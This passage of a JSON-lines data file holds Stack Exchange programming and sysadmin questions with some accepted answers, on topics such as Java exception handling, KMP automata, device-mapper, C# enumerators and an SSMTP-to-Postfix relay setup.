{  "id": "_softwareengineering.349485"  , "question": "While trying to debug a weird issue where I knew an exception should have been thrown but was not, I found the following in the Java standard library's java.lang.ClassLoader class:/** * Open for reading, a resource of the specified name from the search path * used to load classes.  This method locates the resource through the * system class loader (see {@link #getSystemClassLoader()}). * * @param  name *         The resource name * * @return  An input stream for reading the resource, or <tt>null</tt> *          if the resource could not be found * * @since  1.1 */public static InputStream getSystemResourceAsStream(String name) {    URL url = getSystemResource(name);    try {        return url != null ? url.openStream() : null;    } catch (IOException e) {        return null;    }}What reason would there be where the decision was made that this exception should not be thrown but instead silently consumed?While discussing this with a coworker a possible option was that perhaps this function predated IOException and thus this was added to maintain backwards compatibility, however this method was added in Java 1.1, while IOException was added in 1.0.This is a file operation so IOExceptions would not be out of place, so why would the makers of an exception based language choose returning null over passing up a thrown exception?"  , "title": "Why does Java's getSystemResourceAsStream silently consume IOExceptions?"  , "tags": "java;exceptions;standard library"  , "accepted_answer": "The writers of the function get to define what could not be found includes. Here they include any IOExceptions thrown in the attempt as could not be found. This simplifies the usage of this function, as the user only needs to check for null. A more modern library might have this return Option<InputStream>.Notice how they don't try-catch getSystemResource, the documentation of that also specifies it returns null on failure."  } 
{  "id": "_cs.66730"  , "question": "This question is both general in nature and also specific to computer vision. If this is the wrong forum, apologies in advance and suggestions on where to post would be much appreciated.After a certain point, do the benefits of more data plateau for machine learning algorithms?For instance, let's say the goal is object recognition of a basketball. Is there a plateau, say, after training on 1M images of basketballs? Or is the plateau lower at like 100K images? Or is there no plateau at all?More concretely, can you detect basketballs with 99% accuracy after 100K samples, meaning the next 900K samples only nets an additional 1% in accuracy at most?How about for non-image domains such as speech recognition of all words related to the weather in the English language?It seems that if there is a plateau, it would hinge on the complexity of the domain. Assuming the data plateau exists, is there a principle for generalizing what the plateau is for a given domain (e.g., to recognize one type of object with no variations, you need about 100K images from every angle and under different lighting conditions)?"  , "title": "Machine learning: do the benefits of more data plateau after a certain point?"  , "tags": "machine learning;computer vision"  } 
{  "id": "_webapps.92830"  , "question": "I want to share some tweets and retweets to Facebook. The Facebook connect app in Twitter shares every tweet to my Facebook account. I want to be able to control which tweet/retweet gets posted to Facebook and which doesn't."  , "title": "How do I share individual tweets/retweets to Facebook?"  , "tags": "facebook;twitter"  } 
{  "id": "_cs.1669"  , "question": "Let $A_P = (Q,\\Sigma,\\delta,0,\\{m\\})$ the string matching automaton for pattern $P \\in \\Sigma^m$, that is $Q = \\{0,1,\\dots,m\\}$$\\delta(q,a) = \\sigma_P(P_{0,q}\\cdot a)$ for all $q\\in Q$ and $a\\in \\Sigma$with $\\sigma_P(w)$ the length of the longest prefix of $P$ that is a Suffix of $w$, that is$\\qquad \\displaystyle \\sigma_P(w) = \\max \\left\\{k \\in \\mathbb{N}_0 \\mid P_{0,k} \\sqsupset w \\right\\}$.Now, let $\\pi$ the prefix function from the Knuth-Morris-Pratt algorithm, that is$\\qquad \\displaystyle \\pi_P(q)= \\max \\{k \\mid k < q \\wedge P_{0,k} \\sqsupset P_{0,q}\\}$.As it turns out, one can use $\\pi_P$ to compute $\\delta$ quickly; the central observation is:Assume above notions and $a \\in \\Sigma$. For $q \\in \\{0,\\dots,m\\}$ with $q = m$ or $P_{q+1} \\neq a$, it holds that$\\qquad \\displaystyle \\delta(q,a) = \\delta(\\pi_P(q),a)$But how can I prove this?For reference, this is how you compute $\\pi_P$:m  length[P ][0]  0k  0for q  1 to m  1 do  while k > 0 and P [k + 1] =6 P [q] do    k  [k]    if P [k + 1] = P [q] then       k  k + 1    end if    [q]  k end whileend forreturn "  , "title": "Connection between KMP prefix function and string matching automaton"  , "tags": "algorithms;finite automata;strings;searching"  , "accepted_answer": "First of all, note that by definition$\\delta(q,a) = \\sigma_P(P_{0,q}\\cdot a) =: s_1$ and$\\delta(\\pi_P(q),a) = \\sigma_P(P_{0,\\pi_P(q)}\\cdot a) =: s_2$.Let us investigate $s_1$ and $s_2$ in a sketch:[source]Now assume $s_2 > s_1$; this contradicts the maximal choice of $s_1$ directly. If we assume $s_1 > s_2$ we contradict the fact that both $s_2$ and $\\pi_P(q)$ are chosen maximally, in particular because $\\pi_P(q) \\geq s_1 - 1$. As both cases cases lead to contradictions $s_1=s_2$ holds, q.e.d.As requested, a more elaborate version of the proof:Now we have to show $s_1=s_2$; we do this by showing that the opposite leads to contradictions.Assume $s_2 > s_1$. Note that $P_{0,s_2} \\sqsupset P_{0,q}\\cdot a$ because $P_{0,s_2} \\sqsupset P_{0,\\pi_P(q)}\\cdot a$ and $P_{0,\\pi_P(q)} \\sqsupset P_{0,q}$ by definition of $s_2$. Therefore, $P_{0,s_2}$ -- a prefix of $P$ and a suffix of $P_{0,q}\\cdot a$ -- is longer than $P_{0,s_1}$, which is by definition of $s_1$ the longest prefix of $P$ that is a suffix of $P_{0,q}\\cdot a$. This is a contradiction.Before we continue with the other case, let us see that $\\pi_P(q) \\geq s_1 - 1$. Observe that because $P_{0,s_1} \\sqsupset P_{0,q}\\cdot a$, we have $P_{0,s-1} \\sqsupset P_{0,q}$. Assuming that $\\pi_P(q) < s_1 - 1$ immediately contradicts the maximal choice of $\\pi_P(q)$ ($s_1 - 1$ is in the set $\\pi_P(q)$ is chosen from).Assume $s_1 > s_2$. We have just shown $|P_{0,\\pi_P(q)}\\cdot a| \\geq s_1$, and remember that $P_{0,\\pi_P(q)}\\cdot a \\sqsupset P_{0,q} \\cdot a$. Therefore, $s_1 > s_2$ contradicts the maximal choice of $s_2$ ($s_1$ is in the set $s_2$ is chosen from).As neither $s_1 > s_2$ nor $s_2 > s_1$ can hold, we have proven that $s_1 = s_2$, q.e.d."  } 
{  "id": "_unix.28436"  , "question": "I'm trying to mount a disc created some time ago in Amazon EC2. This is what I see (line breaks added for the sake of readability):$ sudo file -s /dev/xvda4/dev/xvda4: x86 boot sector; partition 1: ID=0x83, starthead 1, startsector 63, 10474317 sectors, extended partition table (last)\\011, code offset 0x0When I'm trying to mount it:$ sudo mount /dev/xvda4 /mnt/foomount: wrong fs type, bad option, bad superblock on /dev/xvda4,   missing codepage or helper program, or other error   In some cases useful info is found in syslog - try   dmesg | tail  or soHow can I mount this disc?Maybe this information will help:$ sudo fdisk -lu /dev/xvda4Disk /dev/xvda4: 5368 MB, 5368709120 bytes255 heads, 63 sectors/track, 652 cylinders, total 10485760 sectorsUnits = sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x0952616d  Device Boot      Start         End      Blocks   Id  System/dev/xvda4p1              63    10474379     5237158+  83  Linux"  , "title": "how to mount this disk?"  , "tags": "filesystems;mount"  } 
{  "id": "_softwareengineering.312480"  , "question": "So right now I have a single thread to handle all the requests for the database. Let's say I have 400 requests per second for logins / logouts / other stuff, and 400 requests per second which are only related to items (move them, update them, remove them, etc).Obviously, the problem is that If I want to load an item from the database, but the database is currently processing a login request, then there's gonna be a delay. And I want it to be instant, that's why I wanted to create another thread, exclusive to process item requests, and the other thread to process logins/logouts, etc.Microsoft says this:1: Have multiple statement handles on a single connection handle, with a single thread for each statement handle.2: Have multiple connection handles, with a single statement handle and single thread for each connection handle.What are exactly the differences on both approaches? I obviously need to fetch data and insert/update in both threads at the same time.Will this 2 threads vs 1 approach speed up things?Both threads will work exclusive in different SQL tables (ie the thread for the items will only use ITEMS_TABLE, it will never use the LOGIN_TABLE and vice-versa)Currently I'm using the following functions (C++):SQLSetEnvAttr with SQL_OV_ODBC3SQLConnectSQLAllocHandleSQLBindParameterSQLExecDirect"  , "title": "ODBC 3 Multiple Statements vs Multiple Connections"  , "tags": "sql;multithreading;windows;sql server"  } 
{  "id": "_unix.136765"  , "question": "In the video, there is one machine connected to another via SSH, where the second OpenVPN daemon is already started and configured with a user/password requested at login:http://youtu.be/tSNCE6j2zxMHow do I configure the OpenVPN daemon to get it started and configured with user/password automatically? What are the directories to move? What commands do I need? "  , "title": "Daemon OpenVPN configuration file with .conf?"  , "tags": "ssh;openvpn"  , "accepted_answer": "To me it looks like a simple login script that immediately connects to another box. Something like:~$ cat .bash_profilecleartelnet <the-other-box>Not sure why you mention OpenVPN. It doesn't look like OpenVPN is involved here..."  } 
{  "id": "_codereview.8010"  , "question": "My goal was to make a list dynamically list itself into two columns, no matter the length of the list. I know this is possible by just floating the li nodes, but I wanted to keep the li nodes in the same vertical order. I would really like to hear from people who know more about JavaScript and jQuery than I do if this code looks good or if there is a better or more concise method for implementing this sort of thing.Demo: http://jsfiddle.net/mkimitch/ZEL5x/HTML:<ul class=columned>    <li>Australia</li>    <li>Brazil</li>    <li>Canada</li>    <li>Chile</li>    <li>China</li>    <li>France</li>    <li>India</li>    <li>Italy</li>    <li>Malaysia</li>    <li>Norway</li>    <li>Russia</li>    <li>United Kingdom</li>    <li>United States</li></ul>JavaScript:var colLength = $('.columned li').length;var colHeight = $('.columned').height();var liHeight = $('.columned li').height();if ($('.columned li').length % 2 != 0) {    var half = (Math.round(colHeight / 2)) + liHeight / 2;} else {    var half = Math.round(colHeight / 2);}var firstrow = Math.ceil(colLength / 2);var secondrow = firstrow + 1;$('.columned li:nth-child(-n+' + firstrow + ')').addClass('column1');$('.columned li:nth-child(n+' + secondrow + ')').addClass('column2');$('.columned li:nth-child(' + secondrow + ')').css('margin-top', -half);"  , "title": "Is there a better or more concise way to do this?"  , "tags": "javascript;jquery;html"  } 
{  "id": "_unix.96428"  , "question": "I have a archive backup.tar that was created with a nonstandard program a long time ago. I no longer have access to the original program. The archive is Not compressed (gzip). When trying to extract the archive files, I receive an Unexpected EOF error.It's complicated, but I have reason to suspect that the only problem is with the the checksum. I want to extract it and get the files out. Is there a way (perhaps using cpio or pax), to ignore or fix the tar checksum, and extract the files?"  , "title": "Tar ignore or fix checksum"  , "tags": "tar;data recovery;checksum;cpio;pax"  } 
{  "id": "_webmaster.108783"  , "question": "I need to create my custom view for data from Google Analytics but I don't have any access to any data for API tests. Is there any place where can I find sample data for this response?"  , "title": "Example data from Google Analytics API response"  , "tags": "google analytics;google api"  } 
{  "id": "_vi.3370"  , "question": "Normal command :sort can sort lines based on column or virtual column (\\%c or \\%v), could the higher level logical column be used as sorting key? Using regular expression looks a little complex for this scenario (the column is around the end of the line?) and it looks similar as what the sort utility does (sork -k), but sort with this functionality is unavailable on Windows. Vim plug-in will also help.For example, I'd like to sort the 2 lines below according to the last column separated by comma. My real scenario has much more columns and string pattern. Specify column delimiter will simplify it a lot.xxx,yyy,zzz,0x123zzxz,xxxx,yyyy,0x121"  , "title": "Sort based on comma separated words"  , "tags": "regular expression;sort"  , "accepted_answer": "Vim's sort allows you to either skip {pattern}, or only consider it (with the r flag). A regular expression for the last comma-delimited column is easy to formulate: Skip everything until and including the last comma in a line::sort/.*,/For any other column, I would use the r flag, and skip N (here: 2) previous columns via \\zs::sort/\\([^,]*,\\)\\{2}\\zs[^,]*/"  } 
{  "id": "_softwareengineering.348663"  , "question": "So the scenario is we are going to develop a web app. It will primarily consist of:APIFront End stuff (HTML/CSS/JS)I am considering two approaches: Package API separately into a *.war and deploy on the server. Write front end stuff and call those API. (This is what my previous company followed as we had API in hibernate ORM over RESTeasy deployed on JBOSS)Package all the API and UI stuff into a *.jar. This is what my current company is following. Spring Framework, JSP.As I understand it, using the first approach we can have more modularisation. We can point our UI to whatever API URL which can come in handy while testing, switching APIs and so on.Using second approach we can maintain higher level of integrity as in making the UI code more secure and uniform as we can reference them directly from  API code. Although the catch is that the code becomes little unreadable and messy, thought that could be just a  personal opinion.What are other reasons behind taking these kind of approaches? Is my understanding correct? What approach is suitable in what scenarios?"  , "title": "Better approach to developing/deploying web apps"  , "tags": "design patterns;web applications;api"  } 
{  "id": "_codereview.111440"  , "question": "I have a list of lists of 4 integers, each representing the length of one side of a tetragon in clockwise order (so each number is the length of the side of the right-hand-adjacent-side of the previous one). Integers can be negative or positive or 0. My idea is that if any of the sides are less than or equal to 0 then it's not a valid tetragon. Then if the lengths of all the sides are equal then it can form a square. Then if lengths of opposing sides are equal then it can form a rectangle, otherwise it's neither.tgons=[[1,1,1,1],[1,2,1,2],[1,2,3,4],[-1,-2,-1,-2],[1,0,1,0]]squares=0rects = 0neithers = 0for gon in tgons:    if any(n <= 0 for n in gon): #if any integers <= 0, it's invalid        neithers+=1    elif len(set(gon)) == 1: #if all integers are equal, it's a square        squares+=1    elif gon[0] == gon[2] and gon[1] == gon[3]: #if both pairs of opposing sides have equal length, it's a rectangle        rects+=1    else:        neithers+=1print squares,rects,neithersThis code apparently fails one out of a few test cases (on a certain website). I've thrown all the test cases I could think of at it and I've not been able to get it to fail so far. Is there really a test case that it fails?"  , "title": "Decide if 4 lengths form a square, rectangle or neither"  , "tags": "python"  , "accepted_answer": "Why do we need a set to find a square?Why is a square not a subset of rectangle?You can do the any check in the gon[0] == gon[2].Why no filter on length of gon? Pentagons aren't squares...gon is a poor name... do you mean polygon?I agree with holroy, -5 makes sense, but 0 does not.So I would do:for shape in tgons:    if shape[0] == shape[2] > 0 and shape[1] == shape[3] > 0 and len(shape) == 4:        if shape[0] == shape[1]:            squares += 1        else:            rects += 1    else:        neithers += 1This can also be changed to allow all 2D rects/squares. (not lines.)if shape[0] == shape[2] != 0 and shape[1] == shape[3] != 0 and len(shape) == 4:Also follow PEP8 a bit more, as then you'll have easier to read code.You mostly need more spaces:Before and after infix operators.After but not before commas."  } 
{  "id": "_unix.152961"  , "question": "I set my displays to sleep with xset dpms force off after locking the screen with kscreenlock. This is great, the displays wake up when the mouse is moved (by me, air, the cat). I'd like to set it in a way that only the keyboards can wake up the screens again.Is there some way to do this for the KDE screen locker or in general?"  , "title": "Prevent the mouse to wake up display"  , "tags": "kde;input;screen lock"  } 
{  "id": "_unix.353662"  , "question": "Is it possible to make a USB port on one machine think that it is on another? I need to remotely access a machine on another network with mouse and kb, video not needed. KVM switch wont work on this application as remote access cant be enabled on any machines."  , "title": "Remote USB ports"  , "tags": "usb"  } 
{  "id": "_softwareengineering.221558"  , "question": "I want to really opensource a project that did start as a personal hobby, but I'm an ignorant of licensing details.This project, provides some libraries for a given $language, and some wrapper command line utilities for those libraries.Those libraries, across many things, do generate more code in the same language, code which can be reused by the caller.On my drafts, I always used a MIT style license for the sake of brevity, but it's unreleased copies I'm reviewing right now to merge on a finally released version.I would like to use GPL style policies for usage/contribution of my code (lets call it a framework).But.Could choosing GPLv2 (3?) for my project, limit the things that a given user can do with the code generated or managed by my libraries/utilities? (i.e. commercial profit of such generated code without release her improvements/changes to my code)Is there something to consider (in a plain language) when licensing code that generates code ?Update:To try to answer some comments:What do you wish to accomplish with your license?The best goals for the project health (from the view point of a community-based opensource project).Who do you want to use your code?AnybodyWhat do you want to happen to changes?To be back-ported to the project as much as possible.What do you want to happen to generated code?To don't be affected by my licensing choice. It belongs to the user who generated it.What about money - if the user makes money do you want that to affect the licensing?If the user makes money from the generated code, great. If the user makes money modifying my code, I would like to force to publish the changes.I did a group-therapy with those answers. Now, choosing GPL (2? 3?) I could be ok or not?Update2So they have to bundle/compile your library in with theirs when they deploy it, in order for it to run? yes, the library needs to be installed previously, or bundled with the result (there is an option for this)."  , "title": "Licensing libraries (which do code generation, etc) and GPL boundaries"  , "tags": "licensing;gpl"  , "accepted_answer": "The main thing to consider when choosing the license for a code generator is how much of the code generator itself will wind up in its output. With most (all?) compilers, this is such a small portion that the compiler's license is not considered to apply to the compiler's output. This makes it possible to use GPL-licensed compilers to write closed-source software, because the end-product is not considered to be derived from the compiler's source.On the other hand, there are also tools like Bison, where a significant portion of the tool makes it into the output. As Bison is licensed with the GPL, this would normally mean that and software you generate with Bison would also be covered by the GPL, were it not that the Bison license has a special clause to allow its output to be used in (a limited set of) closed source projects.As you do not wish to restrict the uses of the generated code, but you do want modifications to the generator and libraries to be made public, your best choice seems to to use LGPL or a permissive license for the libraries (provided they can be linked dynamically to the user's project) and GPL (optionally with a Bison-like exception) or a permissive license for the code generator."  } 
{  "id": "_unix.155281"  , "question": "Suppose I mounted a disk in this way:mount /dev/sdb /mnt/tmpI have some files opened on this filesystem and don't want to unmount it. However I want to temporarily extract the device, then reattach it later. I want all reads and writes to this filesystem to be performed in cache only or be hung until I reattach the device.If I thought about temporarily detaching in advance, I would have used the device mapper:# ls -lh /dev/sdbbrw-rw---- 1 root floppy 8, 16 Sep 12 17:38 /dev/sdb# blockdev --getsize /dev/sdb2211840# dmsetup create sdb_detachable --table '0 2211840 linear 8:16 0'# mount /dev/mapper/sdb_detachable /mnt/tmp(start working with the filesystem)(suddenly need to detach the device)# dmsetup suspend sdb_detachable# dmsetup load sdb_detachable --table '0 2211840 error'# blockdev --flushbufs /dev/sdb(eject the device)(maybe even use the cached part of the filesystem)(reattach the device, now it appears as /dev/sdc)# ls -lh /dev/sdc && blockdev --getsize /dev/sdcbrw-rw---- 1 root floppy 8, 32 Sep 12 17:51 /dev/sdc2211840# dmsetup load sdb_detachable --table '0 2211840 linear 8:32 0'# dmsetup resume sdb_detachable(filesystem is usable again)(finished using it, now need to clean up)# umount /mnt/tmp/# dmsetup remove sdb_detachable# eject /dev/sdcHow can this be accomplished if the device is mounted directly? Can I steal it into the device mapper?"  , "title": "How do I temporarily extract a flash drive or HDD in Linux?"  , "tags": "linux;usb drive;external hdd;device mapper;vfs"  } 
{  "id": "_webapps.72794"  , "question": "I'm trying to clean up some old Google Sheets, but some of them don't have a move to bin menu option:Other spreadsheets do have it:What's the difference? How can I delete spreadsheets that don't have the menu item? My current work around is to use the Google Drive desktop integration, and delete them there..."  , "title": "Why is there sometimes no Move to trash/Move to bin"  , "tags": "google spreadsheets;google drive"  } 
{  "id": "_codereview.51083"  , "question": "I read many times about controller code mustn't be too complicated and so on. I was developing new features in my simple project. I added a function, which allow users to get access to news only in one specified category. Now, if a user writes some of this URL:/news/common/news/sport/news/financeonly news from specified category would be shown.I was thinking about how to do this through another actions, but realized that I can do it in index action. I need just to check if user entered category, but not id (id can contain only digits), which I've done.Controller:public function indexAction() {    $objectManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');    $options = array();    $categoryUrl = (string)$this->params('category');    if($categoryUrl) { // add category to the 'where'        $category = $objectManager            ->getRepository('\\News\\Entity\\Category')            ->findOneByUrl($categoryUrl);        if(!$category) {            return $this->redirect()->toRoute('news');        }        $options['category'] = $category->getId();        $categoryName = $category->getName();    }    $news = $objectManager        ->getRepository('\\News\\Entity\\Item')        ->findBy($options, array('created'=>'DESC'));    $items = array();    foreach ($news as $item) {        $buffer = $item->getArrayCopy();        $buffer['category'] = $item->getCategory()->getName();        $buffer['user'] = $item->getUser()->getDisplayName();        $items[] = $buffer;    }    $view = new ViewModel(array(        'news' => $items,        'categoryName' => $categoryName,    ));    return $view;}What I am doing here? receive category from URLif category specified I add clause to the $options array and set $categoryName as category nameif category is not specified I don't do anything with $options (so it will be blank after this part) and don't set flag (so it is not set, undefined)get news items (function pass $options array)return $categoryName and news array to the viewView:<?     if($categoryName) {        $title = $categoryName;    } else {        $title = News list;    }    $this->headTitle($title); ?>// html code, some conditions etcThere is an if condition. If $categoryName is specified, $title will have the same contents as $categoryName. If $categoryName is not specified, $title will be just News list.QuestionsIs this the correct approach at all? Should I create new actions and handle this case in it?Is it correct to set flags, as I did, send to the view, handle it etc?Is my controller fat now? How can I improve this code?In addition, you can find the full code of files on GitHub:NewsController.php (controller)index.phtml (view)Note: Some words in files are in Russian."  , "title": "Does my controller code look good?"  , "tags": "php;zend framework"  , "accepted_answer": "On the surface the code in your question seems fine, but I can tell you from experience that once this door is cracked just a bit, it will continue to creak open wider over time.I'm just checking if we have an ID or category name.This just adds a few meta tags.It's already 200 lines; 50 more won't matter.The linked controller, however, is doing way too much work. It should be passing data off to a model class (not the entity manager directly), placing whatever the view needs into the ViewModel, and that's it. Controllers are glue code. As you have it, you'll need to copy all of this code and modify it slightly to expose the CRUD interface in another form.For the code you posted, I would prefer to separate the actions so each handles one specific use case: all items, items matching a category, and one item (not in the code but you mentioned it). Create a regex route for the last two. The beauty of this is that you don't need to do all the conditional checks--the dispatcher does it for you.// see miscellaneous tips belowpublic function init() {    $this->objectManager = $this->getServiceLocator()        ->get('Doctrine\\ORM\\EntityManager');}public function allAction() {    return new ViewModel(array(        'news' => $this->loadItems(),        'categoryName' => null,    ));}public function categoryAction() {    $category = $this->objectManager        ->getRepository('\\News\\Entity\\Category')        ->findOneByUrl((string) $this->params('category'));    if (!$category) {        return $this->redirect()->toRoute('news');    }    return new ViewModel(array(        'news' => $this->loadItems(array('category' => $category->getId())),        'categoryName' => $categoryName,    ));}private function loadItems($options = array()) {    $news = $this->objectManager        ->getRepository('\\News\\Entity\\Item')        ->findBy($options, array('created' => 'DESC'));    $items = array();    foreach ($news as $item) {        $buffer = $item->getArrayCopy();        $buffer['category'] = $item->getCategory()->getName();        $buffer['user'] = $item->getUser()->getDisplayName();        $items[] = $buffer;    }    return $items;}This is about the same length of the original, but it's far less complicated. Each action is easy to follow and clearly lays out what it requires.MiscellaneousAnd here are a few tips after looking at your linked controller and view code:You are accessing the entity manager in every action (sometimes pulling it from the registry twice in the same method). Do this once by storing it in an instance property in init.The index and list actions are nearly identical. Refactor these to extract the common code into a new private method. It looks like this applies to some of the other actions, e.g., converting a news item into an array for the view with its associated category and user names.You can simplify the title-setting with the Elvis operator: $title = categoryName ?:  .Every page should have an H1--even the all news index page.An non-empty array is truthy in PHP. if(count($this->news) != 0): can be shortened to if($this->news):. If you want to be explicit, at least use if(!empty($this->news)):.If $this->news will be an empty array instead of null or false when there are no items, you don't even need the if since looping over an empty array is a no-op.You don't need the ; in <?=...?> since it's an expression instead of a statement. You also don't need it for one-line statements in <?php ... ?>, but we still use it to avoid bugs when someone adds a line."  } 
{  "id": "_cs.41873"  , "question": "I'm reading through Pushdown Control-Flow Analysis of Higher-Order Programs, which presents a synthesis of the Abstracting Abstract Machines technique and pushdown automata to get static analysis which perfectly matches call and return sites. The paper presents a monovariant and two polyvariant forms of the system.I can't seem to get my head around what additional expressive power polyvariance (e.g. 1CFA) grants when return-flow merging is already eliminated in the monovariant case by the pushdown methods.Could someone provide an example program in which polyvariance helps?"  , "title": "What additional expressivity does polyvariance give in pushdown CFA?"  , "tags": "programming languages;pushdown automata;functional programming"  , "accepted_answer": "After playing with an implementation (found here), I believe I've figured it out.Although 0PDCFA technically entirely eliminates return-flow merging, this isn't a very strong result in the absence of any polyvariance: if the same function is called in two different contexts, the analysis must end up merging flows within the body of the function, since multiple values are bound to the same variable and the variable's abstract address is identified with its name. 1PDCFA provides a different set of addresses to each syntactically distinct call of each function (I might be either under- or over-selling here), eliminating much of the merging."  } 
{  "id": "_unix.58319"  , "question": "Now I'm on the oh-my-zsh, but I'm not sure that it is perfect choice. What is the key difference between grml zsh config (github repo) and oh-my-zsh config? In which case should I prefer grml or oh-my-zsh?"  , "title": "What is the key difference between grml zsh config and oh-my-zsh config"  , "tags": "zsh;oh my zsh;grml"  , "accepted_answer": "I am unable to give a detailed report of their differences but I can at least give a broad overview that may help to answer some basic questions and lead you to places where you can learn more.oh-my-zsh:Built-in plugin/theme systemAuto updater for core, plugins, and themesDefault behavior easily overridden or extendedWidely popular (which means an active community)grml-zsh:Very well documentedProvides many useful built-in aliases and functions (pdf)Default behavior overridden or extended with .zshrc.pre and .zshrc.local filesActively developed but not as popular as oh-my-zshBasically, the most apparent differences between the two are oh-my-zsh's plugin/theme system and auto-updater. However, these features can be added to grml-zsh with the use of antigen, which is a plugin manager for zsh inspired by oh-my-zsh.Antigen allows you to define which plugins and theme you wish to use and then downloads and includes them for you automatically. Ironically, though, most of the plugins and themes are pulled from oh-my-zsh's library which means in order for them to work antigen must first load the oh-my-zsh core. So, that approach leads to more or less recreating oh-my-zsh in a roundabout way. However, if you prefer grml's configuration to oh-my-zsh's then this is a valid option.Bottom line, I believe you just need to try both and see which one works best for you. You can switch back and forth by creating the following files: oh-my-zsh.zshrc (default file installed by oh-my-zsh), grml.zshrc (default grml zshrc), .zshrc.pre, and .zshrc.local.Then if you want to use oh-my-zsh:$ ln -s ~/oh-my-zsh.zshrc ~/.zshrcOr, if you want to use grml:$ ls -s ~/grml.zshrc ~/.zshrcIf you don't want to duplicate your customizations (meaning adding files to the custom directory for oh-my-zsh and modifying the pre and local files for grml), one option is to add your customizations to .zshrc.pre and .zshrc.local and then source them at the bottom of your oh-my-zsh.zshrc file like so:source $HOME/.zshrc.presource $HOME/.zshrc.localAlso, if you decide to use antigen you can add it to your .zshrc.local file and then throw a conditional around it to make sure that oh-my-zsh doesn't run it, like so:# if not using oh-my-zsh, then load plugins with antigen# <https://github.com/zsh-users/antigen.git>if [[ -z $ZSH ]]; then    source $HOME/.dotfiles/zsh/antigen/antigen.zsh    antigen-lib    antigen-bundle vi-mode    antigen-bundle zsh-users/zsh-syntax-highlighting    antigen-bundle zsh-users/zsh-history-substring-search    antigen-theme blinks    antigen-applyfi"  } 
{  "id": "_softwareengineering.250616"  , "question": "I'm new to C# programming, I was experimenting with iterators concept in C#. Here, I'm trying to display all the terms in a list, for that I'm trying different ways to obtain the results. In the below code, I'm using two classes ListIterator and ImplementList. In the ListIterator class : I defined a HashSet and it uses IEnumerator to store the values. Here GetEnumerator() method returns the values in the list. GetEnumerator is implemented in the ImplementList class (other class). Finally, the list is displayed in the console. public class ListIterator{    public void DisplayList()   {    HashSet<int> myhashSet = new HashSet<int> { 30, 4, 27, 35, 96, 34};    IEnumerator<int> IE = myhashSet.GetEnumerator();    while (IE.MoveNext())      {        int x = IE.Current;        Console.Write({0} , x);      }      Console.WriteLine();    Console.ReadKey();   }}In the ImplementList class : GetEnumerator() is defined and it returns the list using yield return x. public class ImplementList : IList<int>  {    private List<int> Mylist = new List<int>();    public ImplementList() { }    public void Add(int item)     {         Mylist.Add(item);     }    public IEnumerator<int> GetEnumerator()    {      foreach (int x in Mylist)        yield return x;    }  }Now, I want to rewrite the GetEnumerator() without using yield return. And it should return all the values in a list. I tried using for loop as for(int x=0; x<Mylist.Count; x++), but it doesn't return all the values in the list. Is it possible to get all the values in the list without using yield return in IEnumerator"  , "title": "Implementing IEnumerator without using 'yield return' in c#"  , "tags": "c#;object oriented"  , "accepted_answer": "MoveNext() is a method that is called over and over and every time it has to move to the next item. This means you can't implement it by simply using a for loop (unless you use yield return, which is pretty much the reason why yield return exists), you need to rewrite it so that each MoveNext() call executes just part of that loop.Specifically, it would look like this:class Enumerator : IEnumerator<int>{    private int i = -1;    private ImplementList list;    public Enumerator(ImplementList list)    {        this.list = list;    }    public bool MoveNext()    {        i++;        return i < list.myList.Count;    }    public int Current { get { return list.myList[i]; } }    object IEnumerator.Current { get { return Current; } }    public void Dispose() {}    public void Reset() { throw new NotSupportedException(); }}This way, every call to MoveNext() performs the i++ and i < list.Count parts of the for loop."  } 
{  "id": "_unix.319697"  , "question": "Code #!/bin/bashstartTimes=$(seq 300 10 330)for startTime in ${startTimes[@]};do        endTime=${startTime}+10        echo ${endTime} > /tmp/111test # Output literally: startTimes+10 doneecho Last endTime: ${endTime}Output with bash -x ...++ seq 300 10 330+ startTimes='300310320330'+ for startTime in '${startTimes[@]}'+ endTime=300+10+ echo 300+10+ for startTime in '${startTimes[@]}'+ endTime=310+10+ echo 310+10+ for startTime in '${startTimes[@]}'+ endTime=320+10+ echo 320+10+ for startTime in '${startTimes[@]}'+ endTime=330+10+ echo 330+10+ echo 'Last endTime: 330+10'Last endTime: 330+10Expected output310320330340OS: Debian 8.5Linux kernel: 4.6 backsports    "  , "title": "Why this Bash list expression and variable calling fails?"  , "tags": "bash;array"  , "accepted_answer": "don_crissti's answer in comments which points out two mistakes in the declaration of startTimes and in use of ${var[@]} which has to be used with seq outputstartTimes=( $(seq 300 10 330) )for startTime in ${startTimes[@]};do        endTime=$(( ${startTime}+10 ))        echo ${endTime} > /tmp/111test doneecho Last endTime: ${endTime}"  } 
{  "id": "_unix.337724"  , "question": "I'm trying to send mail from server A running SSMTP via a server B running Postfix. The Postfix server is running just fine and has been in production for a while without any problems. It runs Postfix with Dovecot.I can use my Gmail account to send mail from SSMTP and that works however I want to use my own Postfix server because I want more control over the entire mail process.In the next logs and code I have replaced my own public domain with example.com.Here is the error that SSMTP produces:root@N40L:/etc/ssmtp# echo test | mailx -vvv -s test martin@example.com[<-] 220 h******.stratoserver.net ESMTP Postfix (Debian/GNU)[->] EHLO example.com[<-] 250 DSN[->] AUTH LOGIN[<-] 535 5.7.8 Error: authentication failed: Invalid authentication mechanismsend-mail: Server didn't like our AUTH LOGIN (535 5.7.8 Error: authentication failed: Invalid authentication mechanism)I'm running Debian 8 on both machines.Here is my ssmtp.conf:root=N40L@example.commailhub=example.com:465rewriteDomain=example.comhostname=example.comFromLineOverride=YESUseTLS=YESAuthUser=N40L@example.comAuthPass=correctpasswordI know SSMTP sometimes has trouble working with non-alphanumeric passwords so the password is a string of letters and numbers. I have verified it using Mutt and I'm certain it is the right password, the right username, the right port.Postfix main.cf:smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)biff = noappend_dot_mydomain = noreadme_directory = nosmtpd_tls_cert_file=/etc/letsencrypt/live/example.com/fullchain.pemsmtpd_tls_key_file=/etc/letsencrypt/live/example.com/privkey.pemsmtpd_use_tls=yessmtpd_tls_auth_only = yessmtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scachesmtp_tls_session_cache_database = btree:${data_directory}/smtp_scachesmtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destinationmyhostname = ********.stratoserver.netmyorigin = /etc/mailnamemydestination = localhost.stratoserver.net, localhostrelayhost =mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128mailbox_command = procmail -a $EXTENSIONmailbox_size_limit = 0recipient_delimiter = 